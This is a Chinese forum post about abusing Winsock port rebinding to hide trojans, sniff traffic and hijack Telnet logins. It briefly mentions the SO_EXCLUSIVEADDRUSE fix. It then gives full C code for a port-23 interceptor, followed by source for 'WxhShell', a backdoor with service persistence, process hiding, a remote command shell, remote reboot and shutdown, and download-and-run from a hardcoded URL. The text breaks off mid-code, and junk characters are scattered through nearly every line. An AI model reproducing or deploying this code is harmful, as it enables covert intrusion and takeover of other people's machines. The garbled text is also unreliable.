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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6nRXRO  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @Fv"j9j-3G  
V<A_c^unO  
  saddr.sin_family = AF_INET; yhhW4rz  
=B-a]?lM  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); yqi=9NB  
3\j{*f$J  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k GR5!8$z  
>|1.Z'r/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0.7* 2s-  
0n` 1GU)W  
  这意味着什么?意味着可以进行如下的攻击: )GhMM  
nG hFYQl  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vs]#?3+  
_1 TSt%L  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) O4H %x  
k<x  %  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 fbgq+f`\  
>*rH Nf  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [ }-CXB  
mMo<C_~w&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~Y]*TP  
BiI?eT +  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O%?noW  
%<8@NbF  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 sz}YX R=m  
DG1C_hu i  
  #include CvDy;'{y1  
  #include `3GC}u>}  
  #include aMI\gCB/  
  #include    *E lR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   z'FD{xdf  
  int main() T"ors]eI  
  { Twi:BI`.  
  WORD wVersionRequested; :j2G0vHIl(  
  DWORD ret; zOO:`^ m  
  WSADATA wsaData; ]"?+R+  
  BOOL val; $w!;~s  
  SOCKADDR_IN saddr; AT.WXP0$A  
  SOCKADDR_IN scaddr; N&ZIsaK,j  
  int err; iF:`rIC  
  SOCKET s; sY,q*}SLD  
  SOCKET sc; )xtDiDB  
  int caddsize; 2\ 3}y(  
  HANDLE mt; (NPDgR/  
  DWORD tid;   qC<!!473?  
  wVersionRequested = MAKEWORD( 2, 2 ); 5R 6@A?vr  
  err = WSAStartup( wVersionRequested, &wsaData ); ETQ.A< v  
  if ( err != 0 ) { H3< `  
  printf("error!WSAStartup failed!\n"); an!ceB  
  return -1; ;`ZGiax  
  } Id-?her>B  
  saddr.sin_family = AF_INET; aI @&x  
   TXx%\V_6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e+J|se4L5  
cu&tdg^q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); --Dd'  
  saddr.sin_port = htons(23); T 9lk&7W  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A'(v]w  
  { U-+%e:v  
  printf("error!socket failed!\n"); uEp v l  
  return -1; n$>E'oG2 t  
  } v"x{oD$R  
  val = TRUE; zSs5F_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #IH7WaN  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B1\@ n$  
  { @#sBom+K`  
  printf("error!setsockopt failed!\n"); 2x3'm  
  return -1; ai/VbV'|  
  } zQsu~8PX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; mMLxT3Ci8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Sw!/ I PO  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 hN% h.;s  
D#lx&J.s  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Nc4e,>$]&  
  { jTjGbC]X  
  ret=GetLastError(); TM_ MJp  
  printf("error!bind failed!\n"); !L5[s  
  return -1; ("HT0 &#a  
  } 9H ~{2Un  
  listen(s,2); I^'U_"vB  
  while(1) >we/#C"x  
  { 8p3pw=p  
  caddsize = sizeof(scaddr); 8!e1T,:b  
  //接受连接请求 `a.1Af;L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); tF> ?]  
  if(sc!=INVALID_SOCKET) W/Rb7q4v  
  { 0:<dj:%M  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +{* @36A5A  
  if(mt==NULL) Q=hf,/N  
  { xv! QO  
  printf("Thread Creat Failed!\n"); [;5?=X,LD  
  break; e [D'0L  
  } U?dd+2^};t  
  } adEcIvN$  
  CloseHandle(mt); gwFHp .mE  
  } /W !A^  
  closesocket(s); jtWI@04o09  
  WSACleanup(); w`~j(G4N  
  return 0;  lZ^UAFF  
  }   Rb_HD  
  DWORD WINAPI ClientThread(LPVOID lpParam) Epm'u[wV  
  { neC]\B[Xm  
  SOCKET ss = (SOCKET)lpParam; e<|'   
  SOCKET sc; S9Kay'.aJ(  
  unsigned char buf[4096]; dm4dT59  
  SOCKADDR_IN saddr; ,$ICv+7]  
  long num; <{\UE~  
  DWORD val; J?Kgev%  
  DWORD ret; !?Tu pi  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _J}vPm  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ii%n:0+zm  
  saddr.sin_family = AF_INET; v5i?4?-Z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); E|f&SEnzK  
  saddr.sin_port = htons(23); a8fLj  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $ohg?B ;  
  { VN=S&iBa/  
  printf("error!socket failed!\n"); a ^+b(&;k  
  return -1; #N-NI+qX  
  } ]# hT!VOd  
  val = 100; h[c HCVM:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5p&&EA/  
  { G $u:1&   
  ret = GetLastError(); ~5aq.hF1,A  
  return -1; ,nO:Pxn|  
  } yQQ[_1$pq  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ugmg,~U~k  
  { r>lC(x\B  
  ret = GetLastError(); E.Hw|y0_(|  
  return -1; Q}!U4!{i|p  
  } -Kt36:|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +nKxSjqI  
  { A{hwT,zV:  
  printf("error!socket connect failed!\n"); )F;[  
  closesocket(sc); 5utMZ>%w_#  
  closesocket(ss); hk"^3d!  
  return -1; E&k{ubcT  
  } 6ju+#]T  
  while(1) r\+AeCyb"p  
  { 5gq3 >qo  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {rr ED  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~Ra1Zc$o:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 IXp P.d  
  num = recv(ss,buf,4096,0); L4SvE^2+  
  if(num>0) `nM Huv  
  send(sc,buf,num,0); [!>2[bbl  
  else if(num==0) Rs;,_  
  break; [.P~-6~  
  num = recv(sc,buf,4096,0);  /A|cO   
  if(num>0) 3"'|Ql.H  
  send(ss,buf,num,0); ]3#_BL)M8p  
  else if(num==0) U[~BW[[@f  
  break; .ao'o,|vE  
  } 5v8&C2Jy@  
  closesocket(ss); c4CBpi?}  
  closesocket(sc); ,*.C''  
  return 0 ; -W>zON|l  
  } k}-%NkQ 9O  
r8C6bFYM  
x U1dy*-  
========================================================== g#=^U`y  
?,|_<'$4T  
下边附上一个代码,,WXhSHELL De|@}@  
Pp N+q:(  
========================================================== C78d29  
^sH1YE}0  
#include "stdafx.h" =1n>vUW+J  
(JFa  
#include <stdio.h> kYs2AzS{d  
#include <string.h> hmkcW r`  
#include <windows.h> <2y~7h:  
#include <winsock2.h> j^Zp BNL  
#include <winsvc.h> rjU $*+  
#include <urlmon.h> $y=sT({VVe  
*cTN5 S>  
#pragma comment (lib, "Ws2_32.lib") N|q:wyS|  
#pragma comment (lib, "urlmon.lib") vzaxi;S<  
fE)+9!  
#define MAX_USER   100 // 最大客户端连接数 L.!:nu]rV  
#define BUF_SOCK   200 // sock buffer vE?qF9I{$0  
#define KEY_BUFF   255 // 输入 buffer ?Z!itB~  
oq]KOj[  
#define REBOOT     0   // 重启 gzzPPd,hd  
#define SHUTDOWN   1   // 关机 c#9 zw[y-L  
sr#, S(p  
#define DEF_PORT   5000 // 监听端口 &nPv%P,e  
!0`ZK-nA6  
#define REG_LEN     16   // 注册表键长度 NLb/Bja  
#define SVC_LEN     80   // NT服务名长度 D'O[0?N"g  
R|!4Y`  
// 从dll定义API w _eu@R:u@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CNcH)2Mk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zy@ #R;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); & A9psc(,&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _F^|n}Qbj  
6@o_MtI  
// wxhshell配置信息 ?vf{v  
struct WSCFG { 7Yj\*N  
  int ws_port;         // 监听端口 $Ry NM2YI  
  char ws_passstr[REG_LEN]; // 口令 /[nt=#+   
  int ws_autoins;       // 安装标记, 1=yes 0=no 1aYO:ZPy  
  char ws_regname[REG_LEN]; // 注册表键名 :'GTCo$3  
  char ws_svcname[REG_LEN]; // 服务名 K r]!BI?z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !0Xes0gK0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N!RyncJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wrsETB c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RW>Z~Nj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ? dSrY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +}4vdi"  
,O a)  
}; @uY%;%Pa8  
[W{`L_"  
// default Wxhshell configuration x+yt| &B  
struct WSCFG wscfg={DEF_PORT,  Mw'd<{  
    "xuhuanlingzhe", :g<dwuVO  
    1, :Np&G4IM>  
    "Wxhshell", Y<#7E;aL  
    "Wxhshell", XfbkK )d  
            "WxhShell Service", h"%6tpV-  
    "Wrsky Windows CmdShell Service", tGmyTBgx  
    "Please Input Your Password: ", N.eSf  
  1, ; p\rgam  
  "http://www.wrsky.com/wxhshell.exe", L1)?5D  
  "Wxhshell.exe" >R!^aJ  
    }; D>*%zz|  
y''?yr  
// 消息定义模块 m U7Ad"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "c\T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HEe0dqG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NX)7g}S  
char *msg_ws_ext="\n\rExit."; gWgK  
char *msg_ws_end="\n\rQuit."; *+p'CfsSka  
char *msg_ws_boot="\n\rReboot..."; d2X#_(+d  
char *msg_ws_poff="\n\rShutdown..."; @gX@mT"  
char *msg_ws_down="\n\rSave to "; wK#UFOp  
uc7np]Z  
char *msg_ws_err="\n\rErr!"; 5W<BEcV\  
char *msg_ws_ok="\n\rOK!"; ,PN>,hFL  
={maCYlE.  
char ExeFile[MAX_PATH]; DU1,i&(  
int nUser = 0; !JYDg  
HANDLE handles[MAX_USER]; mg >oB/,'Z  
int OsIsNt; sFS_CyN!7  
&Vgjd>  
SERVICE_STATUS       serviceStatus; bk4%lYJ"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $8i t&/JP,  
]s, T` (&  
// 函数声明 O gHWmb  
int Install(void); d\Dxmb]o  
int Uninstall(void); {8I93]  
int DownloadFile(char *sURL, SOCKET wsh); 2?-}(F;Z  
int Boot(int flag); >Ckb9A  
void HideProc(void); _5 y)m5I  
int GetOsVer(void); 3'&]v6|  
int Wxhshell(SOCKET wsl); iQa Q"s  
void TalkWithClient(void *cs); HM[BFF[;/  
int CmdShell(SOCKET sock); kFk+TXLDIt  
int StartFromService(void); O~aS&g/sf  
int StartWxhshell(LPSTR lpCmdLine); RNvtgZ}k{X  
de ](l687I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  pd X9G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OZt'ovY  
t]vX9vv+D  
// 数据结构和表定义 I/^Lr_\  
SERVICE_TABLE_ENTRY DispatchTable[] = 9@vY(k k  
{ ;utjW1y  
{wscfg.ws_svcname, NTServiceMain}, 0W=IuPDU  
{NULL, NULL} c yN_Sg  
}; @ $(4;ar  
@&M $`b ^  
// 自我安装 hZzsZQ`  
int Install(void) .2Rh_ful  
{ \-sD RW  
  char svExeFile[MAX_PATH]; $~ItT1k_  
  HKEY key; i!czI8  
  strcpy(svExeFile,ExeFile); Jge;/f!i  
*4(.=k  
// 如果是win9x系统,修改注册表设为自启动 +;>>c`{  
if(!OsIsNt) { `pcjOM8u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6(ja5)sn*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .)W8 U [  
  RegCloseKey(key); DDkO g]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u-k*[!JU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  R6AZIN:  
  RegCloseKey(key); mfx 'Yw*{  
  return 0; sk],_l<  
    } C2`END;  
  } eN jC.w9  
} ,g\.C+.S  
else { ,%ajIs"Gi  
l{y~N  
// 如果是NT以上系统,安装为系统服务 %|,j'V$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oEi +S)_  
if (schSCManager!=0) R(q fP  
{ X$st{@}ZB  
  SC_HANDLE schService = CreateService a>Q7Qn  
  ( x3M`l|  
  schSCManager, .+M4P i  
  wscfg.ws_svcname, }QC: !e,yG  
  wscfg.ws_svcdisp, +*|E%pq  
  SERVICE_ALL_ACCESS, ?SQT;C3j(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v=X\@27= ?  
  SERVICE_AUTO_START, m Y%PG  
  SERVICE_ERROR_NORMAL, @P@t/  
  svExeFile, FNm8j#c~Q  
  NULL, g\jdR_/  
  NULL, !J6k\$r  
  NULL, Crey}A/N  
  NULL, 4z$ eT  
  NULL 7tt&/k?Q  
  ); #D}NT*w/  
  if (schService!=0) rP>5OLP  
  { E&"bgwav{(  
  CloseServiceHandle(schService); xwz2N5  
  CloseServiceHandle(schSCManager); "dkvk7zCP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _ :][{W#  
  strcat(svExeFile,wscfg.ws_svcname); (sPZ1Fr\o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -EL"Sv?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AalyEn&>  
  RegCloseKey(key); f:BW{Cij;y  
  return 0; WS,p}:yPZG  
    } vwT?Bp  
  } 2=U4'C4#  
  CloseServiceHandle(schSCManager); l[h??C`  
} A>'o5+  
} 2j_L jY'7  
A).wjd(_,  
return 1; (F#Qunze  
} Xt$?Kx_,  
,':?3| $c  
// 自我卸载 O"{NHNG\oT  
int Uninstall(void) rgOB0[  
{ e+&/ Tq'2  
  HKEY key; a Fl(K\  
R2r0'Yx  
if(!OsIsNt) { * DU86JL`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O*c +TiTb  
  RegDeleteValue(key,wscfg.ws_regname); &}*[-z  
  RegCloseKey(key); 3lLO.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ! WQEv_G@  
  RegDeleteValue(key,wscfg.ws_regname); B?Pu0 _|s  
  RegCloseKey(key); EpPKo  
  return 0; M(5lSu  
  } 38JvJR yK}  
} R|5w:+=z  
} /y NU0/  
else { 4S+P]U*jW  
A2htD!3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  /pV^w  
if (schSCManager!=0) 6LUB3;g7  
{ G0<m3 Up  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CbwQ'c$}  
  if (schService!=0) C~kw{g+|  
  { 6R"& !.ZF  
  if(DeleteService(schService)!=0) { ga!t:O@w  
  CloseServiceHandle(schService); C'hZNFsF;  
  CloseServiceHandle(schSCManager); QDLtilf :  
  return 0; bY]aADv\  
  } A.(Z0,S-i  
  CloseServiceHandle(schService); >a]{q^0  
  } X $J  
  CloseServiceHandle(schSCManager); %m{h1UQQ +  
} WG1x:,-  
} l? 7D0  
lKwIlp  
return 1; OBu$T&  
} 'Kc;~a  
_AK-AY  
// 从指定url下载文件 (AV j_Cw  
int DownloadFile(char *sURL, SOCKET wsh) UDGVq S!,E  
{ gh3_})8c  
  HRESULT hr; na>UFw7>*  
char seps[]= "/"; NouT~K`'  
char *token; Sh=z  
char *file; v-g2k_ o|  
char myURL[MAX_PATH]; lP0'Zg(  
char myFILE[MAX_PATH]; +.gZILw  
/2 WGo-  
strcpy(myURL,sURL); rr9N(AoxW  
  token=strtok(myURL,seps); b m`x  
  while(token!=NULL) X8y&|uH  
  { }zj_Pp  
    file=token; ?3"lI,!0  
  token=strtok(NULL,seps); qK,rT*5=  
  } Me2%X>;  
Np+<)q2  
GetCurrentDirectory(MAX_PATH,myFILE); {0QNqjue  
strcat(myFILE, "\\"); #8rLB(  
strcat(myFILE, file); 4Bs '5@  
  send(wsh,myFILE,strlen(myFILE),0); CKy' 8I9  
send(wsh,"...",3,0); 8)/d8@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J?LetyDNr]  
  if(hr==S_OK) O_*%_S}F&  
return 0; 3Vs8"BFjz  
else }~y i6!w'  
return 1; $CRu?WUS]'  
l*":WzRGvF  
} xrf z-"n4  
S sGb;  
// 系统电源模块 6||zfH  
int Boot(int flag) k_/*> lIZY  
{ _?CyKk\I  
  HANDLE hToken; 5$d>:" >  
  TOKEN_PRIVILEGES tkp; :tdN#m6&  
MA6(VII  
  if(OsIsNt) { VMXccT9i!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b<n*wH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jH({Qc,97  
    tkp.PrivilegeCount = 1; gwm!Pw j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X0.kQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *%E4 ,(T  
if(flag==REBOOT) { Kejp7 okb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P XKEqcQR  
  return 0; l1l=52r   
} jEVDz  
else { g1Ed:V]_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m %]1~b}"  
  return 0; o#fr5>h-w  
} j 4!$[h  
  } x8 _f/2&  
  else { J;|a)Nw  
if(flag==REBOOT) { %68'+qz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L`NY^  
  return 0; #oW" 3L{,  
} < KG q  
else { E2K{9@i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X|y(B%:  
  return 0; vJ9I z  
} Vdd HK  
} d<K2 \:P{}  
r2yJ{j&s  
return 1; ( RO-~-  
} 70Jx[3vr  
jVi> 9[rz  
// win9x进程隐藏模块 !mHMFwvS  
void HideProc(void) GZH{"_$  
{ `Y O(C<r-  
Pm&hv*D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); & 6'Rc#\P  
  if ( hKernel != NULL ) sPX&XqWx  
  { ,.9k)\/V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }C4wED.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s|IY t^  
    FreeLibrary(hKernel); 6~c#G{kc  
  } ,_iq$I;  
iR?}^|]  
return; !6!Gx:  
} cX7 O*5C  
}D>#AFs6#  
// 获取操作系统版本 @@JyCUd  
int GetOsVer(void) *:bexDH  
{ P9`R~HO'`  
  OSVERSIONINFO winfo; <aztbq?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L"bZ~'y  
  GetVersionEx(&winfo); >3ax `8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V6Mt;e)C  
  return 1; @`$'sU  
  else 6_,JW{#"  
  return 0; 0civXZgj  
} Z<^;Ybw{`Z  
w=pr?jt1:  
// 客户端句柄模块 FFa =/XB"  
int Wxhshell(SOCKET wsl) TZ *>MySiF  
{ }@eIO|  
  SOCKET wsh; :*f  2Bn  
  struct sockaddr_in client; m/z,MT74*J  
  DWORD myID; w 5 yOSz  
Nv=78O1  
  while(nUser<MAX_USER) &1(- 8z*  
{ XNgcBSD  
  int nSize=sizeof(client); i.k7qclL`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8EI9&L>  
  if(wsh==INVALID_SOCKET) return 1; 8~tX>q<@q  
K!]a+M]>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k&2=-qgVR  
if(handles[nUser]==0) * xCY^_  
  closesocket(wsh); G54J'*Z  
else gg >QXui  
  nUser++; (+c1.h  
  } ;z.L^V0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oNZ_7tU  
dvZH~mF  
  return 0; (:aU"5M  
} AtewC Yo  
 D|)a7_  
// 关闭 socket ~w a6S?  
void CloseIt(SOCKET wsh) Q F)\\ D[  
{ P#O2MiG  
closesocket(wsh); f(Y_<%  
nUser--; /a'1 W/^2  
ExitThread(0); h);^4cU  
} M?!@L:b[  
H1 I^Vij  
// 客户端请求句柄 y~fKLIoz"  
void TalkWithClient(void *cs) w9{C"K?u=  
{ As<B8e]  
+x(#e'6p  
  SOCKET wsh=(SOCKET)cs; R*:>h8  
  char pwd[SVC_LEN]; V:$+$"|  
  char cmd[KEY_BUFF]; RN[I%^$"  
char chr[1]; =e4 r=I  
int i,j; |~r-VV(=  
AH|gI2  
  while (nUser < MAX_USER) { @^A5{qQ\  
=hkYQq`Q  
if(wscfg.ws_passstr) { '`3#FCg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |RFBhB/u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); odCt6Du  
  //ZeroMemory(pwd,KEY_BUFF); MfP)Pk5  
      i=0; yEq7ueJ'  
  while(i<SVC_LEN) { TG%B:^Yz!  
.^?zdW  
  // 设置超时 $P=C7;  
  fd_set FdRead; R|C 2O[r}  
  struct timeval TimeOut; fC[za,PXaE  
  FD_ZERO(&FdRead); b~J)LXj]w  
  FD_SET(wsh,&FdRead); 1~*1W4};F8  
  TimeOut.tv_sec=8; fes s6=k  
  TimeOut.tv_usec=0; <.Ws; HN}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >> zd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yd).}@  
N% 4"9K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GC{M"q|_  
  pwd=chr[0]; 83n%pS4x  
  if(chr[0]==0xd || chr[0]==0xa) { eXW|{asx  
  pwd=0; <7M-?g:vj  
  break; y3zP`^  
  } L5-|-PP|;  
  i++; MKl0 d  
    } _!nsEG VV  
q`VL i  
  // 如果是非法用户,关闭 socket H"#ITL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f#\YX tR,k  
} wT4@X[5$  
$-iEcxsi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9af.t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <Dd>- K  
O`B,mgT(  
while(1) { <h/%jM>9/  
`ePC$Ovn  
  ZeroMemory(cmd,KEY_BUFF); 0f^{Rp6  
-QrC>3xZR  
      // 自动支持客户端 telnet标准   V)j[`,M:  
  j=0; ,%M[$S'  
  while(j<KEY_BUFF) { zxbf h/=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [={mCGU  
  cmd[j]=chr[0]; FEaT}/h;  
  if(chr[0]==0xa || chr[0]==0xd) { =l/6-j^  
  cmd[j]=0; DN*5q9.  
  break; l3>S{  
  } CMXF[X)%  
  j++; AcC &Q:g  
    } aQCu3T  
ieFl4hh[G  
  // 下载文件 8]ZzO(=@{  
  if(strstr(cmd,"http://")) { .T| }rB<c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UEU/505  
  if(DownloadFile(cmd,wsh)) =dmr ,WE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #c^V %  
  else *m~-8_ >;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vw;Z0_C  
  } [_,as  
  else { ~HZdIPcC  
[9 W@<p  
    switch(cmd[0]) { Smr{+m a  
  3v/B*M VI  
  // 帮助 2cR[~\_9.  
  case '?': { zLpCKndj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IS2cU'   
    break; hH %>  
  } &{}Mds  
  // 安装 jJy:/!i  
  case 'i': { ZK5nN9`  
    if(Install()) S+ kq1R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )cqD">vs  
    else F (*B1J2_g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l~c[}wv  
    break; CMa6':~  
    } t`Kbm''d[  
  // 卸载 6b2UPI7m~  
  case 'r': { @ZjT_  
    if(Uninstall()) lQn" 6o1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U2q6^z4l  
    else  I//=C6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6 ':iW~iI  
    break; WYP;s7_  
    } B5b:znW2@  
  // 显示 wxhshell 所在路径 %6UF%dbYH`  
  case 'p': { '7Gv_G_  
    char svExeFile[MAX_PATH]; h051Ol\v*  
    strcpy(svExeFile,"\n\r"); w;z7vN~/O  
      strcat(svExeFile,ExeFile); |#oS7oV(  
        send(wsh,svExeFile,strlen(svExeFile),0); a`xq h2P  
    break; !+l'<*8V  
    } ~b f\fPm  
  // 重启 LdPLC':}x|  
  case 'b': { Ql*zl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wA) Hot  
    if(Boot(REBOOT)) "mlQ z4D)5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @60D@Y  
    else { sV\_DP/l  
    closesocket(wsh); G t w>R  
    ExitThread(0); $Ome]+0  
    } 2jsbg{QS#_  
    break; *FlPGBjJ  
    } <W4F`6`x  
  // 关机 :|S zD4Ag  
  case 'd': { }9~^}99}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RK3y q$  
    if(Boot(SHUTDOWN)) $l7^-SK`E  
